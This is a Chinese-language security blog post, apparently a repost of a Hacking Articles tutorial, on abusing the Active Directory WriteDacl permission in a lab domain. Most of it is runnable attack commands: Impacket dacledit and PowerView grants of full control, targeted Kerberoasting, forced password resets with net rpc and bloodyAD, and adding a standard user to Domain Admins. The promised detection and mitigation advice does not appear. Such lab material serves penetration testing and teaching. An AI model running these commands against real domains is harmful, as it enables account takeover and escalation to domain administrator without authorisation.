滥用AD-DACL:WriteDacl

admin 2024年12月28日22:06:31评论19 views字数 7136阅读23分47秒阅读模式

在这篇文章中,我们将探讨在AD环境中使用WriteDacl权限来利用自主访问控制列表(DACL)。攻击者可以滥用WriteDacl权限以获得未经授权的访问或修改权限以满足他们的需求。

文章概述了模拟这些攻击所需的实验室设置,并将其映射到MITRE ATT&CK框架中的方法,以阐明相关的技术和策略。同时,还涵盖了检测与WriteDacl攻击相关的可疑活动的机制,并提供了减轻这些漏洞的可操作建议。

WriteDacl权限介绍

  AD中的**WriteDacl**权限允许用户修改AD对象的自主访问控制列表(DACL),赋予他们控制对象级权限的能力。攻击者可以为目标对象的DACL(自主访问控制列表)写入新的ACE。这可以使攻击者完全控制目标对象。 

  与给予完全控制权不同,同样的过程可以应用于允许对象通过添加两个具有特定扩展权限(DS-Replication-Get-Changes和DS-Replication-Get-Changes-All)的ACE来执行DCSync。由于GenericAll包括所有ExtendedRights,因此授予完全控制权会导致相同的结果,因此需要两个扩展权限来使DCSync工作。
  • • 对的WriteDacl权限允许授予向该组添加成员的权利。
  • • 对用户的WriteDacl权限允许授予对用户对象的完全控制权。
  • • 对计算机对象的WriteDacl权限允许授予对计算机对象的完全控制权。
  • • 对对象的WriteDacl权限允许授予执行DCSync操作的能力。

准备环境

  • • Windows Server 2019作为AD
  • • Kali Linux
  • • 工具:Bloodhound, Net RPC, Powerview, BloodyAD, Impacket
  • • Windows 10/11 - 作为客户端

实验环境设置 - 用户对另一个用户拥有WriteDacl权限

在这个实验室设置中,我们将创建两个用户Aarti和Komal,其中用户Komal对Aarti用户拥有WriteDacl权限。

创建AD环境和用户账户

为了模拟AD环境,我们需要一台作为域控制器(DC)的Windows Server和一台客户端机器(Windows或Linux),我们可以在其中运行枚举和利用工具。

域控制器

  • • 安装Windows Server(推荐2016或2019)。
  • • 通过添加AD域服务将其提升为域控制器。
  • • 设置域(例如local)。

用户账户

  • • 创建两个AD用户账户,名为AartiKomal
net user aarti Password@1 /add /domain
net user komal Password@1 /add /domain

!https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhL_ulSl9ceFjlJ8B8h_XUiRFc4Yed18sNYpljZmx0n5Bh-_peF5gDmFmUuAaxJBzDjrjXM-i4jVuC2ZP6yd-pakSRdRu2wggT1J2Cme-5pDDxswaXXR8YdACnokN5l1m_GWnJ11NSGO4fse4dyx_FFPxjTRwZrqIQFKDbmH68MfOH7Xpup9xXJogPjrAF2/s16000/1.png

分配“WriteDacl”权限

  1. 1. 在域控制器上打开AD用户和计算机(ADUC)。
  2. 2. 通过点击视图 > 高级功能启用高级功能视图。
  3. 3. 在用户中找到用户Aarti
  4. 4. 右键单击Aarti用户并转到属性

!https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIyqGFAep2bHF1HTlz0XYV_4R3x9d7Ul8-PR1MssBuHg1sKw9ZIeq_NNPxuXl098vB5XcM5o4rPYfPgHhmBF1J-UoTRNh17MkirQOyrytQQOWBKMl1ZHOKUVGwp57EcylVUE5KUCZtt-PJ1D80IyBpQgw6-46OP0GSrwAFYaGiPCbxFvp7Kg0KX05OKicJ/s16000/2.png

转到安全选项卡,点击添加按钮

!https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxrKJTi1GCCVJ1pngKFEXuCk0hz1jXX9T6xecUUTpdaQuOKvb-eHW6DrZnDeTZuqLfYVn_cZiMv-7Dp6NofxalrSP9vo6IFkDvPajiAYwy2_l-NIwefn5ugDPL8mwSk4tzz6ZuDBRNwDvTJSBZwBR88VWHYjGUNopt4yXnzR0N1rbsQOsQD5jV8xBYqFkx/s16000/3.png

  1. 1. 在“输入对象名称以选择”框中,键入Komal并点击检查名称,然后点击确定。
  2. 2. 选择Komal用户,在权限部分,点击高级

!https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvkYUBDXFELUAY93IUqbc80pVZE0PgtnGvMEQWEWba2qIAmtBRdkH-waiB6c8Osbaazj_8vK4RZe6PGhy7A_EkuuxEVMsf4wRcTEdTT_x1_DqUVsXY2mSgnQjOao7Ngl8cJsNEkgirzYVJ4b1PZxSMlJ_E9-2sFP_TIfZA_YL2dTZuqa7fX5GXBujyb15G/s16000/5.png

  1. 1. 在高级安全设置框中,双击Komal用户权限条目。
  2. 2. 在权限部分,勾选修改权限
  3. 3. 应用设置。

!https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJmBiBO_qJ5Y214E-_mVclOM0bvaOLWf_8qxTud-vqqkdD1mI7VGqU6OMprMjXpJiZm7rKr1Yb9fJGh_9Z0-nv7hRU32WyMmLMxX2SjTBhqFTeapIKISx97D4xrxxpVEMPC17LgFgNyjEYQa1xDxcZFssQeVji-qSxYt0KDd_ue3aKjNbp3tK9lHs0CW-M/s16000/6.png

此时,Komal现在对Aarti用户拥有WriteDacl权限。

利用阶段 I - 用户对另一个用户拥有WriteDacl权限

Bloodhound - 寻找弱权限

我们可以使用BloodHound来验证KomalAarti用户拥有WriteDacl权限。

bloodhound-python -u komal -p Password@1 -ns 192.168.1.3 -d ignite.local -c All

!https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6wQTtJlwxV_ahjh9wttG1KKaDzXjdO4aDPam468Hp4zDKvSd-lqnY3TQ1lAzPNQcCYwjz7B1Dlx3DONpvalPTkCY6F110zSwI3CgcaEewdhXrl91H91eTyV6330avPX2SBT59veY4ZaxbzIF13T-NmHzqgWTd1lkA6Gw5OEd9QntigUH-QGcNpAplYVS_/s16000/7.png

从Bloodhound的图形表示中,测试人员希望识别出所选用户外出站对象控制,其中第一维度的对象控制值等于1。

60.png

从图中可以看出,Komal用户对Aarti用户拥有WriteDacl限。

利用方法 - 授予完全控制权,然后进行Kerberoasting(T158.003)或更改密码(T110.001)

当控制一个对另一个对象拥有WriteDacl的对象时,可以进行这种滥用。

Linux Impacket工具 - 授予完全控制权

从类UNIX系统,可以使用Impacket的dacledit.py[2](Python),或者Impacket-dacledit。

impacket-dacledit -action 'write' -rights 'FullControl' -principal 'komal' -target-dn 'CN=aarti,CN=Users,DC=ignite,DC=local''ignite.local'/'komal':'Password@1' -dc-ip 192.168.1.3
12.png

借助dacledit的帮助,成功修改了该对象的DACL,Komal用户现在对Aarti用户拥有完全控制权。

13.png

现在,由于用户对目标拥有完全控制权,那么可以执行kerberoasting或者在不知道目标当前密码的情况更改密码(ForceChangePassword)。

Linux Python脚本 - TargetedKerberoast

从类UNIX系统,可以使用targetedKerberoast.py[3](Python)。

./targetedKerberoast.py --dc-ip '192.168.1.3' -v -d 'ignite.local' -u 'komal' -p 'Password@1'
14.png

进一步,借助John the Ripper和诸如Rock You这样的字典,可以帮助攻击者暴力破解弱密码

Linux - 更改密码

Linux Net RPC - Samba

可以使用net工具,这是用于管理samba和cifs/smb客户端的管理工具。

net rpc password aarti 'Password@987' -U ignite.local/komal%'Password@1' -S 192.168.1.3

Linux Bloody AD

或者,可以使用bloodyAD

bloodyAD --host "192.168.1.3" -d "ignite.local" -u "komal" -p "Password@1" set password "aarti" "Password@789"

Windows PowerShell Powerview - 授予完全控制权

从Windows系统,可以使用Add-DomainObjectAclPowerView模块)。

powershell -ep bypass
Import-Module .\PowerView.ps1
Add-DomainObjectAcl -Rights 'All' -TargetIdentity "aarti" -PrincipalIdentity "komal"

借助Add-DomainObjectAcl的帮助,成功修改了该对象的DACL,Komal用户现在对Aarti用户拥有完全控制权。

13.png

现在,由于用户对目标拥有完全控制权,那么可以执行kerberoasting或者在不知道目标当前密码的情况更改密码(ForceChangePassword)。

Windows PowerShell Powerview - Kerberoasting

从Windows机器,可以使用Set-DomainObjectGet-DomainSPNTicket(PowerView模块)。

Set-DomainObject -Identity 'aarti' -Set @{serviceprincipalname='nonexistent/hacking'}
Get-DomainUser 'aarti' | Select serviceprincipalname
$User = Get-DomainUser 'aarti'
$User | Get-DomainSPNTicket
52.png

Windows PowerShell Powerview - 更改密码

Linux NetPC - Samba

攻击者可以使用PowerView模块更改用户密码。这可以通过Set-DomainUserPassword cmdlet实现。

$NewPassword = ConvertTo-SecureString 'Password1234' -AsPlainText -Force
Set-DomainUserPassword -Identity 'aarti' -AccountPassword $NewPassword

实验设置 - 用户对域管理员组拥有WriteDacl权限

环境搭建

创建AD环境

为了模拟活动目录环境,我们需要一台作为域控制器(DC)的Windows Server和一台客户端机器(Windows或Linux),我们可以在其中运行枚举和利用工具。

域控制器

  • • 安装Windows Server(推荐2016或2019)。
  • • 通过添加活动目录域服务将其提升为域控制器。
  • • 设置域(例如local)。

用户账户

  • • 创建一个名为Rudra的标准用户账户。
net user rudra Password@1 /add /domain

为Rudra分配“WriteDacl”权限

一旦我们的AD环境设置完成,我们需要为域管理员组的Rudra分配**“WriteDacl”**权限。

步骤

  1. 1. 在域控制器上打开活动目录用户和计算机(ADUC)。
  2. 2. 通过点击视图 > 高级功能启用高级功能视图。
  3. 3. 在用户容器中找到域管理员组。
  4. 4. 右键单击域管理员并转到属性

转到安全选项卡,点击添加按钮

  1. 1. 在“输入对象名称以选择”框中,键入Rudra并点击检查名称,然后点击确定。
  2. 2. 选择Rudra用户,在权限部分,点击高级选项
  3. 3. 在高级安全设置框中,双击Rudra用户权限条目。
  4. 4. 在权限部分,勾选修改权限
  5. 5. 应用设置。

此时,Rudra现在对域管理员组拥有WriteDacl权限,这意味着他们可以将自己的添加到该组。

利用阶段 II - 用户对组拥有WriteDacl权限

Bloodhound - 寻找弱权限

使用BloodHound确认权限:我们可以使用BloodHound来验证Rudra域管理员组拥有WriteDacl权限。

bloodhound-python -u rudra -p Password@1 -ns 192.168.1.3 -d ignite.local -c All

从Bloodhound的图形表示中,测试人员希望识别出所选用户出站对象控制,其中第一度的对象控制值等于1。

因此,它显示了Rudra用户对域管理员组拥有WriteDacl权限。

 授予完全控制权,然后进行账户操纵(T1098)

LinuxImpacket工具 授予完全控制权

从类UNIX系统,可以使用Impacket的dacledit.py[4](Python),或者Impacket-dacledit。

impacket-dacledit -action 'write' -rights 'WriteMembers' -principal 'rudra' -target-dn 'CN=Domain Admins,CN=Users,DC=ignite,DC=local' 'ignite.local'/'rudra':'Password@1' -dc-ip 192.168.1.3

借助dacledit的帮助,成功修改了该对象的DACL,rudra用户现在对拥有完全控制权。

Linux - 添加成员到组

Linux Net RPC - Samba

测试人员可以通过将Rudra用户添加到域管理员组并列出域管理员成员来滥用此权限,以确保Rudra用户成为域管理员。

net rpc group addmem "Domain Admins" rudra -U ignite.local/rudra%'Password@1' -S 192.168.1.3

Linux Bloody AD

或者,可以使用bloodyAD

bloodyAD --host "192.168.1.3" -d "ignite.local" -u "rudra" -p "Password@1" add groupMember "Domain Admins" "rudra"

Windows PowerShell Powerview - 授予完全控制权 从Windows系统,可以使用Add-DomainObjectAcl(PowerView模块)。

powershell -ep bypass
Import-Module .PowerView.ps1
Add-DomainObjectAcl -Rights 'All' -TargetIdentity "Domain Admins" -PrincipalIdentity "rudra"

Windows Net命令 - 添加成员到组

这可以通过使用Windows net命令的原生命令行实现。

net group "domain admins" rudra /add /domain

因此,从用户属性中我们可以看到Rudra用户已成为域管理员的成员。

引用链接

[1] Abusing AD-DACL: WriteDacl - Hacking Articles: https://www.hackingarticles.in/abusing-ad-dacl-writedacl/
[2] dacledit.py: http://dacledit.py/
[3] **targetedKerberoast.py**: http://targetedkerberoast.py/
[4] dacledit.py: http://dacledit.py/

原文始发于微信公众号(TIPFactory情报工厂):滥用AD-DACL:WriteDacl

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月28日22:06:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   滥用AD-DACL:WriteDaclhttps://cn-sec.com/archives/3497070.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息